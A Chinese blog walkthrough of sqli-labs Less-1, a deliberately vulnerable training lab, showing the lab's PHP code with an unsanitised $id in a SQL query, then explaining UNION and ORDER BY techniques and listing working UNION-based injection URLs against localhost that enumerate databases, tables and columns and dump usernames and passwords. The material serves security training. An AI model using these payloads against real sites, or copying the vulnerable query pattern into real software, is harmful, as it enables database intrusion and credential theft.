sqli-labs (less-1)

2019-03-05  本文已影响0人  simle天晴

Less1 核心代码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysqli_error($con));
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}
?>
image.png

首先我们要判断是否是sql注入,我们用单引号去尝试

image.png

得到的有价值的信息

image.png

在做测试之前要科普下数据库注入的几种类型

其中盲注又分为

 基于布尔SQL盲注
 基于时间的SQL盲注
 基于报错的SQL盲注

sqlmap 中对于注入的分类

image.png

测试开始

首先我们要用最常见的union 注入去尝试

关于union注入介绍

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

SQL UNION ALL 语法
SELECT column_name(s) FROM table_name1
UNION ALL
SELECT column_name(s) FROM table_name2

另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

image.png

上文说过(如何判断前面的select 查询有几列呢? order by 介绍)

union内部的SELECT 语句必须拥有相同的列

order by 是对查询的列进行排序

语法

SELECT field1, field2,...fieldN table_name1, table_name2...
ORDER BY field1, [field2...] [ASC [DESC]]

order by 有一个特性,就是后面可以不跟排序的字段,直接跟数字,如果数字超过查询的列就会报错,

当为3的时候正常,当为4时候报错(得到结果查询的列为3)

image.png

在正式测试之前还介绍几个知识 group_concat

正式开始

select schema_name  from information_schema.schemata
select table_name  from  information_schema.tables  where table_schema='XXXX'
select column_name from information_schema.columns where table_name='xxxx'
select xxx  from  xxxxx

LESS1 中的 POC


查看数据库
http://127.0.0.1/sqli-labs/Less-1/?id='  union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23


查看表
http://127.0.0.1/sqli-labs/Less-1/?id=-1 '  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+



查看列
http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


查看数据
http://127.0.0.1/sqli-labs/Less-1/?id=' union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23


上一篇下一篇

猜你喜欢

热点阅读